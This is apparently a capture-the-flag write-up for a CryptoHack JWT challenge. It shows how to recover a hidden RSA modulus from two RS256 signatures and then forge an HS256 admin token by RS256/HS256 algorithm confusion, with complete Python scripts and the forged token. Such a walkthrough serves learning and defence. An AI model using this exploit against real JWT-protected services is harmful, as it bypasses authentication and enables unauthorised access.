CUSTOMMediumWeb

RSA or HMAC? Part 2

XESXOR9/2/20265 min read

#web#custom#medium#emsa_pkcs1_v15_reconstruction#gcd_modulus_recovery#hmac_with_public_key#public_key_recovery#rs256_to_hs256_confusion#cve-2016-10555

RSA or HMAC? Part 2

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: emsa_pkcs1_v15_reconstruction, gcd_modulus_recovery, hmac_with_public_key, public_key_recovery, rs256_to_hs256_confusion

Summary

Walkthrough of the CUSTOM Web RSA or HMAC? Part 2. Task: JWT RS256/HS256 algorithm-confusion (CVE-2016-10555) where the RSA public key is NOT exposed by any route. Solution: recover the RSA modulus n via GCD of two RS256 signatures (s^e - EMSA-PKCS1 p

Description

JWT challenge. "Is it possible to abuse JWT public keys without the public key being public?" Builds on RSA-or-HMAC Part 1. More realistic because web apps usually do NOT expose a route disclosing their public key. Data formatting must be 100% correct. The public/private keys were generated with specific openssl commands. The server runs PyJWT with a small patch (same as Part 1) that allows the RS256→HS256 algorithm confusion.

Challenge URL: https://web.cryptohack.org/rsa-or-hmac-2 ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

English summary: A JWT-issuing web app signs tokens with RS256. The verification route accepts both HS256 and RS256 with the same key material, enabling the classic algorithm-confusion attack — but unlike Part 1, the RSA public key is never disclosed. The goal is to forge a token with admin: true and retrieve the flag, which first requires recovering the public key from observed signatures.

Analysis

Server (PyJWT, patched to permit RS256/HS256 confusion):

Keys generated with:
- openssl genrsa -out rsa-or-hmac-2-private.pem 2048
- openssl rsa -RSAPublicKey_out -in ...-private.pem -out ...-public.pem → PKCS#1 RSA PUBLIC KEY format (NOT SubjectPublicKeyInfo).
/rsa-or-hmac-2/create_session/<username>/ → jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256')
/rsa-or-hmac-2/authorise/<token>/ → jwt.decode(token, PUBLIC_KEY, algorithms=['HS256','RS256']); returns the flag if decoded["admin"] is true. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Vulnerability: JWT algorithm confusion (CVE-2016-10555). With both RS256 and HS256 accepted, an attacker switches alg to HS256 and signs a forged token using the RSA public key bytes as the HMAC-SHA256 secret. The server uses the same public key to verify HMAC, so the signature checks out.

Crux of Part 2: the public key is secret, so it must first be recovered. RSA public keys can be reconstructed from two signatures over known messages.

Recovering n from two RS256 signatures

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

For RS256, a signature satisfies s^e ≡ EM (mod n), where EM is the EMSA-PKCS1-v1.5 encoding of SHA256(signing_input):

EM = 0x00 || 0x01 || 0xFF*PS || 0x00 || DigestInfo || H
DigestInfo (SHA-256) = 3031300d060960864801650304020105000420
H = SHA256(signing_input)   ; emLen = 256 (2048-bit modulus)

Thus n | (s_i^e - EM_i). With two tokens (a, b):

x1 = s1^e - EM1
x2 = s2^e - EM2
n  = gcd(x1, x2)      # then strip small spurious factors

Verify with pow(s_i, e, n) == EM_i % n. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Performance note: plain Python pow(s, 65537) on a 2048-bit s builds ~16 MB integers and timed out at 120 s. Switching to gmpy2.mpz made it finish in seconds.

Solution

Fetch two RS256 tokens from /create_session/a/ and /create_session/b/.
Recover n via GCD of s_i^e - EM_i (e = 65537), stripping small factors.
Rebuild the public key as PKCS#1 RSA PUBLIC KEY PEM (matching openssl rsa -RSAPublicKey_out).
Forge an HS256 JWT {"admin": true} using the exact PEM bytes including the trailing newline as the HMAC-SHA256 secret.
Submit to /authorise/<token>/ → flag. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

recover_n.py

 python read-only • copy allowed
#!/usr/bin/env python3
import base64, hashlib, requests
from math import gcd
import gmpy2

BASE = "https://web.cryptohack.org/rsa-or-hmac-2"
E = 65537
# SHA-256 DigestInfo prefix
DIGEST_PREFIX = bytes.fromhex("3031300d060960864801650304020105000420")

def b64u_dec(s):
    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))

def get_token(user):
    r = requests.get(f"{BASE}/create_session/{user}/")
    return r.json()["token"]

def emsa_pkcs1_v15(signing_input, emlen=256):
    h = hashlib.sha256(signing_input).digest()
    t = DIGEST_PREFIX + h
    ps = b"\xff" * (emlen - len(t) - 3)
    em = b"\x00\x01" + ps + b"\x00" + t
    return int.from_bytes(em, "big")
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

def parts(token):
    header_b64, payload_b64, sig_b64 = token.split(".")
    signing_input = (header_b64 + "." + payload_b64).encode()
    s = int.from_bytes(b64u_dec(sig_b64), "big")
    em = emsa_pkcs1_v15(signing_input)
    return s, em

def recover_n(t1, t2):
    s1, em1 = parts(t1)
    s2, em2 = parts(t2)
    x1 = int(gmpy2.mpz(s1) ** E) - em1
    x2 = int(gmpy2.mpz(s2) ** E) - em2
    n = gcd(x1, x2)
    for p in range(2, 100000):
        while n % p == 0:
            n //= p
    assert pow(s1, E, n) == em1 % n
    assert pow(s2, E, n) == em2 % n
    return n
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

if __name__ == "__main__":
    t1, t2 = get_token("a"), get_token("b")
    n = recover_n(t1, t2)
    print("n =", n)

forge.py

 python read-only • copy allowed
#!/usr/bin/env python3
import base64, hashlib, hmac, json, requests
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from recover_n import recover_n, get_token, BASE

E = 65537

def b64u(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

def forge(n):
    pub = RSAPublicNumbers(E, n).public_key()
    # PKCS#1 "RSA PUBLIC KEY" PEM — INCLUDES a trailing newline (the exact .pem bytes)
    pem = pub.public_bytes(Encoding.PEM, PublicFormat.PKCS1)
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

    header = {"alg": "HS256", "typ": "JWT"}
    payload = {"admin": True}
    hb = b64u(json.dumps(header, separators=(",", ":")).encode())
    pb = b64u(json.dumps(payload, separators=(",", ":")).encode())
    signing_input = (hb + "." + pb).encode()

    sig = hmac.new(pem, signing_input, hashlib.sha256).digest()  # key = PEM incl. trailing \n
    return signing_input.decode() + "." + b64u(sig)

if __name__ == "__main__":
    n = recover_n(get_token("a"), get_token("b"))
    token = forge(n)
    print("token:", token)
    r = requests.get(f"{BASE}/authorise/{token}/")
    print(r.json())

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Critical formatting detail (the trap)

The working HMAC secret is the PKCS#1 PEM with its trailing newline — the exact bytes the server reads from the .pem file. These variants FAILED with "Signature verification failed":

PKCS#1 PEM without the trailing newline.
SubjectPublicKeyInfo (PUBLIC KEY) PEM format.

So both the PEM type (PKCS#1 vs SPKI) and the trailing newline must match the server's file byte-for-byte. The challenge hint about 100% correct formatting and the specific openssl commands points directly at this. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Recovered values

e = 65537
n = 30119723976045246500887959920897642376905514522104705876695572516818975656665827754462226597973931127004963194508794779495518118035029841228002850562126612806174354282950756669656076190799693066363785733231859172664786298352294594850108982261525326147060353679479844558827458650965802914077525964824412575118501773357860374735206849817271524812002047307305597712628593230518376740507962518305824812671107459660525177087958778694060270468673690931325503094560625544374011735643694318730778241846282742819834483180624645324880062782719575587058519516842316778261924794437716972651884728674806670910304714203419102131413
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

forged HS256 token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZX0.nArhusbqT2UehOA67jq-gSdN1D6VtgCy1gfL_YxRfMI

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Key Takeaways / Lessons

Mastering emsa_pkcs1_v15_reconstruction, gcd_modulus_recovery, hmac_with_public_key, public_key_recovery, rs256_to_hs256_confusion was key to this challenge.
Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-21 • CUSTOM • RSA or HMAC? Part 2 • Difficulty: Medium